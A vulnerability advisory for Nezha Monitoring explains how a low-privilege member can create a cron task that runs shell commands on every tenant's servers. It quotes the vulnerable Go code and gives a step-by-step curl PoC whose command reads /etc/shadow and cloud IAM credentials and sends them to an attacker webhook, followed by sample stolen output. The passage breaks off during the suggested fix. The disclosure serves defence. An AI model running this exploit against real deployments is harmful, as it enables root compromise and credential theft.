Description

Nezha Monitoring: RoleMember can run shell on every server (cross-tenant RCE) via POST /api/v1/cron ## Summary nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The cron routes POST /api/v1/cron and PATCH /api/v1/cron/:id are wired through commonHandler (any authenticated user) rather than adminHandler, and the per-server permission check on cron creation has a vacuous-true bypass. A RoleMember user can create a scheduled cron task with Cover=CronCoverAll, Servers=[] and an arbitrary Command. At every tick of the scheduler, the dashboard pushes that command to every server in the global ServerShared map — including servers that belong to other tenants (admin's servers, other members' servers). Each agent runs the command and returns the output, which is then sent to the attacker's own NotificationGroup → attacker-controlled webhook. Net effect: any RoleMember (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment. ## Affected versions Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master. ## The auth gate go // cmd/dashboard/controller/controller.go:131-135 auth.GET("/cron", listHandler(listCron)) auth.POST("/cron", commonHandler(createCron)) // <-- commonHandler, not adminHandler auth.PATCH("/cron/:id", commonHandler(updateCron)) // <-- ditto auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron)) auth.POST("/batch-delete/cron", commonHandler(batchDeleteCron)) Compare with /user (adminHandler-gated). commonHandler (controller.go:214-218) only requires JWT auth — any role passes. ## The vacuous-true permission bypass go // cmd/dashboard/controller/cron.go:45-85 func createCron(c *gin.Context) (uint64, error) { var cf model.CronForm var cr model.Cron if err := c.ShouldBindJSON(&cf); err != nil { return 0, err } // BUG: empty cf.Servers iterates zero items, returns true vacuously. if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) { return 0, singleton.Localizer.ErrorT("permission denied") } cr.UserID = getUid(c) cr.TaskType = cf.TaskType cr.Name = cf.Name cr.Scheduler = cf.Scheduler cr.Command = cf.Command // <-- attacker-controlled shell cr.Servers = cf.Servers // <-- empty [] cr.PushSuccessful = cf.PushSuccessful cr.NotificationGroupID = cf.NotificationGroupID cr.Cover = cf.Cover // <-- CronCoverAll = 1 if cr.TaskType == model.CronTypeCronTask && cr.Cover == model.CronCoverAlertTrigger { return 0, singleton.Localizer.ErrorT("scheduled tasks cannot be triggered by alarms") } var err error if cf.TaskType == model.CronTypeCronTask { if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(&cr)); err != nil { return 0, err } } if err = singleton.DB.Create(&cr).Error; err != nil { return 0, newGormError("%v", err) } singleton.CronShared.Update(&cr) return cr.ID, nil } ServerShared.CheckPermission (singleton.go:249-261) iterates idList; with cf.Servers == [], the for-range runs zero times and returns true. So a member can submit a cron with Servers=[] and skip the permission check entirely. ## The cross-tenant fanout sink go // service/singleton/crontask.go:133-181 func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() { crIgnoreMap := make(map[uint64]bool) for _, server := range cr.Servers { crIgnoreMap[server] = true } return func() { if cr.Cover == model.CronCoverAlertTrigger { // ... (alert-only path; not used here) return } // BUG: iterates EVERY server in global state, no per-server permission check. for _, s := range ServerShared.Range { if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] { continue // skip ignored } if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] { continue } if s.TaskStream != nil { s.TaskStream.Send(&pb.Task{ Id: cr.ID, Data: cr.Command, // <-- shell command, run as agent UID (often root) Type: model.TaskTypeCommand, }) } } } } Compare with the service-task path, which DOES gate per-server (canSendTaskToServer at cmd/dashboard/rpc/rpc.go:179-190 enforces task.UserID == server.UserID || taskOwnerIsAdmin). The cron path skips that check entirely. ## The output-exfil channel go // service/rpc/nezha.go:56-76 case model.TaskTypeCommand: cr, _ := singleton.CronShared.Get(result.GetId()) if cr != nil { var curServer model.Server copier.Copy(&curServer, server) if cr.PushSuccessful && result.GetSuccessful() { singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Successfully"), cr.Name, server.Name, result.GetData()), "", &curServer) } if !result.GetSuccessful() { singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Failed"), cr.Name, server.Name, result.GetData()), "", &curServer) } } result.GetData() is the agent's stdout/stderr. With cr.PushSuccessful = true set by the attacker, the command output is exfil'd to whatever NotificationGroup the attacker chose. Members can create their own Notifications (Webhook-type via POST /api/v1/notification) and Groups (POST /api/v1/notification-group), and these are owned by the member — NotificationShared.CheckPermission passes. So the attacker creates a member-owned webhook pointing at https://attacker.example.com/exfil, then references it in the cron. ## End-to-end PoC Pre-conditions: attacker has RoleMember credentials. Either admin gave them an account, or the dashboard has OAuth2 self-bind enabled. Step 0: Get JWT (standard login). bash TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \ -d '{"username":"member","password":"hunter2"}' \ http://nezha.example.com/api/v1/login | jq -r .token) Step 1: Create a webhook notification + group owned by the member, pointing at attacker server. bash NID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d '{"name":"x","url":"https://webhook.site/<attacker>","request_method":2,"request_type":1,"verify_tls":false,"skip_check":true}' \ http://nezha.example.com/api/v1/notification | jq -r .data) GID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d "{\"name\":\"g\",\"notifications\":[$NID]}" \ http://nezha.example.com/api/v1/notification-group | jq -r .data) Step 2: Create the cross-tenant cron. bash curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d "{\"name\":\"x\",\"task_type\":0,\"scheduler\":\"*/1 * * * * *\",\"command\":\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"servers\":[],\"cover\":1,\"push_successful\":true,\"notification_group_id\":$GID}" \ http://nezha.example.com/api/v1/cron Step 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From c1c1cd1.../webhook.site/<attacker>: [Scheduled Task Executed Successfully] x, admin-prod-db-01 uid=0(root) gid=0(root) groups=0(root) admin-prod-db-01.internal root:$6$KfTdXrLP$... ASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token (Output is shown for each of the N agents in the deployment, one webhook fire per agent.) ## Reachability — additional notes - Default deployment: there is no requirement that an admin even creates a member account explicitly — the dashboard may have OAuth2 self-registration via singleton.Conf.Oauth2[provider]. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that's near-pre-auth RCE. - The nezha agent typically runs as root (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses sudo systemctl. - The attack works whether Cover=CronCoverAll (deny-list, empty) or Cover=CronCoverIgnoreAll (allow-list — but you'd need server IDs you don't own, which requires a separate enumeration step). Cover=CronCoverAll, Servers=[] is the simplest payload. ## Suggested fix 1. Switch /cron writes to adminHandler. Same fix as the /user and /setting routes already use. go auth.POST("/cron", adminHandler(createCron)) auth.PATCH("/cron/:id", adminHandler(updateCron)) auth.GET("/cron/:id/manual", adminHandler(manualTriggerCron)) auth.POST("/batch-delete/cron", adminHandler(batchDeleteCron)) 2. Per-server permission gate in CronTrigger. Defense-in-depth: even an admin should not push a cron task to a server they don't own. Add

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